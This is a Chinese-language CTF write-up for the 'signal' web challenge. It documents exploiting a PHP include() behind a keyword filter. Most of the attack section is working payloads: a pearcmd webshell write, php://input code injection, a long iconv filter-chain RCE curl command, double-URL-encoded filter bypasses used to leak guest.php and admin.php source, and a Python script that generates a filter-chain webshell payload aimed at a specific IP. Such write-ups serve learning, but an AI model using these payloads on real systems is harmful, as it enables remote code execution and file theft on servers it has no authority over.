CTF-WEB: 目录穿越与伪协议 [第一届国城杯 signal] 赛后学习笔记
这道题盲猜waf过于抽象了
step 1
目录扫描得到 .index.php.swp
最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的
step2
来到里面能看见
/guest.php?path=/tmp/hello.php
尝试
/guest.php?path=./guest.php
服务器直接崩溃了,当时觉得很奇怪,但是没注意,看了其他师傅的wp发现这是include()
尝试
/guest.php?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd']);?>+/tmp/test.php
失败
ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini
继续
/guest.php?path=/var/lib/php5/sess_abb1ad4v4r5f8ls8dough3foan
被过滤了,继续
/guest.php?path=/proc/self/environ
被过滤了,继续
POST /guest.php?path=php://input%00 HTTP/1.1
Host: ip
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=abb1ad4v4r5f8ls8dough3foan
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php system('sleep(10)'); ?>
无效,继续
/guest.php?path=http://xxx.oastify.com/
无法出网,继续
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
还是不行,根据
Server: nginx/1.14.2
百度根目录
/usr/share/nginx/html
多次尝试不同过滤器,失败
/guest.php?path=php://filter//resource=/usr/share/nginx/html/guest.php
这个又崩服务器了
尝试绕过限制无果再看眼WP
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php
(这是预期解吗?看着不太像)
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}
if (!isset($_GET['path'])) {
header("Location: /guest.php?path=/tmp/hello.php");
exit;
}
$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
echo "Don't do this";
}else{
include($path);
}
?>
我们再读一下 index
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php
<?php
// 启动一个新的会话,允许在多个页面之间存储和访问会话变量
session_start();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8"> <!-- 设置字符编码为 UTF-8,以支持中文字符 -->
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 设置视口以支持响应式设计 -->
<title>登录</title> <!-- 设置页面标题为“登录” -->
<style>
/* 页面基本样式设置 */
body {
margin: 0; /* 移除默认边距 */
display: flex; /* 使用 Flexbox 布局使内容居中 */
justify-content: center; /* 水平居中对齐 */
align-items: center; /* 垂直居中对齐 */
height: 100vh; /* 高度占满整个视口 */
background: linear-gradient(135deg, #6dd5ed, #2193b0); /* 设置渐变背景 */
font-family: Arial, sans-serif; /* 设置字体 */
overflow: hidden; /* 隐藏溢出内容 */
position: relative; /* 相对定位为后续绝对定位元素提供参考 */
}
/* 创建浮动效果的圆形元素 */
body::before, body::after {
content: ""; /* 生成内容为空的伪元素 */
position: absolute; /* 绝对定位 */
width: 400px; /* 设置宽度 */
height: 400px; /* 设置高度 */
border-radius: 50%; /* 圆形边框 */
background: rgba(255, 255, 255, 0.1); /* 半透明背景 */
animation: float 6s ease-in-out infinite; /* 设置浮动动画 */
z-index: 0; /* 确保其位于背景层 */
}
/* 定义浮动动画的起始和结束位置 */
body::before {
top: -100px; /* 位置偏移 */
right: -150px; /* 位置偏移 */
}
/* 定义另一个浮动元素的位置 */
body::after {
bottom: -150px; /* 位置偏移 */
left: -200px; /* 位置偏移 */
}
/* 定义浮动动画效果 */
@keyframes float {
0% {
transform: translate(0, 0); /* 动画起始状态 */
}
50% {
transform: translate(-20px, -20px); /* 动画中间状态 */
}
100% {
transform: translate(0, 0); /* 动画结束状态 */
}
}
/* 登录框样式 */
.login-container {
background: rgba(255, 255, 255, 0.9); /* 半透明背景 */
padding: 20px; /* 内边距 */
border-radius: 10px; /* 圆角边框 */
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2); /* 阴影效果 */
z-index: 1; /* 确保其位于上层 */
}
/* 输入框和按钮样式 */
input[type="text"], input[type="password"] {
width: 100%; /* 输入框宽度占满父容器 */
padding: 10px; /* 内边距 */
margin: 10px 0; /* 上下外边距 */
border: 1px solid #ccc; /* 边框颜色 */
border-radius: 5px; /* 圆角边框 */
}
/* 按钮样式 */
input[type="submit"] {
background-color: #2193b0; /* 按钮背景色 */
color: white; /* 字体颜色 */
border: none; /* 无边框 */
padding: 10px; /* 内边距 */
border-radius: 5px; /* 圆角边框 */
cursor: pointer; /* 鼠标悬停时显示指针样式 */
transition: background-color 0.3s; /* 背景色变化的过渡效果 */
}
/* 鼠标悬停时按钮效果 */
input[type="submit"]:hover {
background-color: #6dd5ed; /*
之前有一段话
最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的
我们来试试有没有admin
的专属页面,还真有
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/admin.php
<?php
// 开启Session
session_start();
// 关闭错误报告
error_reporting(0);
// 检查用户是否已经登录且用户名为'admin'
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
// 如果未登录或用户名不是'admin',设置错误信息并重定向到登录页面
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
// 获取POST请求中的URL
$url = $_POST['url'];
$error_message = ''; // 初始化错误信息变量
$page_content = ''; // 初始化页面内容变量
// 检查是否有URL提交
if (isset($url)) {
// 检查URL是否以'https://'开头
if (!preg_match('/^https:\/\//', $url)) {
// 如果URL无效,设置错误信息
$error_message = 'Invalid URL, only https allowed';
} else {
// 初始化一个cURL会话
$ch = curl_init();
// 设置cURL选项
curl_setopt($ch, CURLOPT_URL, $url); // 设置要获取的URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不包括头信息
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 跟随重定向
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 返回结果而不是直接输出
// 执行cURL会话
$page_content = curl_exec($ch);
// 检查cURL执行是否成功
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content'; // 设置错误信息
}
// 关闭cURL会话
curl_close($ch);
}
}
?>
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<title>Welcome</title>
<style>
/* 页面样式 */
body {
margin: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background: linear-gradient(135deg, #6dd5ed, #2193b0);
font-family: Arial, sans-serif;
overflow: hidden;
position: relative;
}
body::before, body::after {
content: '';
position: absolute;
width: 400px;
height: 400px;
border-radius: 50%;
background: rgba(255, 255, 255, 0.1);
animation: float 6s ease-in-out infinite;
z-index: 0;
}
body::before {
top: -100px;
right: -150px;
}
body::after {
bottom: -150px;
left: -100px;
}
@keyframes float {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(20px); }
}
.login-container {
position: relative;
z-index: 1;
width: 350px;
padding: 2rem;
background-color: #ffffff;
border-radius: 12px;
text-align: center;
box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.2);
backdrop-filter: blur(10px);
transition: transform 0.3s ease;
}
.login-container:hover {
transform: translateY(-5px);
}
.login-container h2 {
margin-bottom: 1.5rem;
color: #333;
font-weight: bold;
}
.login-container input[type='text'] {
width: 100%;
padding: 0.75rem;
margin: 0.5rem 0;
border: 1px solid #ddd;
border-radius: 5px;
box-sizing: border-box;
font-size: 1rem;
outline: none;
transition: border-color 0.3s ease;
}
.login-container input[type='text']:focus {
border-color: #4CAF50;
box-shadow: 0px 0px 5px rgba(76, 175, 80, 0.5);
}
.login-container button {
width: 100%;
padding: 0.75rem;
margin-top: 1rem;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s, transform 0.3s;
position: relative;
overflow: hidden;
}
.login-container button:hover {
background-color: #45a049;
transform: translateY(-3px);
}
.login-container button:active {
transform: translateY(1px);
}
.login-container p {
margin-top: 1rem;
color: #666;
font-size: 0.9rem;
}
.error {
color: red;
margin-top: 0.5rem;
text-align: center;
font-size: 0.9rem;
}
.content {
margin-top: 1rem;
padding: 1rem;
background-color: #f9f9f9;
border: 1px solid #ddd;
border-radius: 5px;
word-wrap: break-word;
max-height: 200px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class='login-container'>
<h2>Welcome</h2>
<p>网页查看,just do it😎</p>
<form method='post' action=''>
<input type='text' name='url' placeholder='Enter URL' required>
<button type='submit'>Submit</button>
<?php if (!empty($error_message)) : ?>
<div class='error'><?= htmlspecialchars($error_message) ?></div>
<?php endif; ?>
</form>
<?php if (!empty($page_content)) : ?>
<div class='content'>
<?= nl2br(htmlspecialchars($page_content)); ?>
</div>
<?php endif; ?>
</div>
</body>
</html>
没啥用,看看有没有login
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/%256cogin.php
没有,再回头试试
/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/%2570roc/%25703elf/environ
投机取巧失败,只能用原wp的复杂方法了
import re
file_to_use = "/etc/passwd"
# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
not_allow = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
not_allow = not_allow.split('|')
for i in not_allow:
final_payload = final_payload.replace(i, ('%25'+(hex(ord(i[0]))[2:])+i[1:]))
url = 'http://125.70.243.22:31933/guest.php'
v = 'path'
cmd = 'ls'
final_payload = f'{url}?0={cmd}&{v}={final_payload}'
with open('payload', 'w') as f:
f.write(final_payload)
"""
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
"""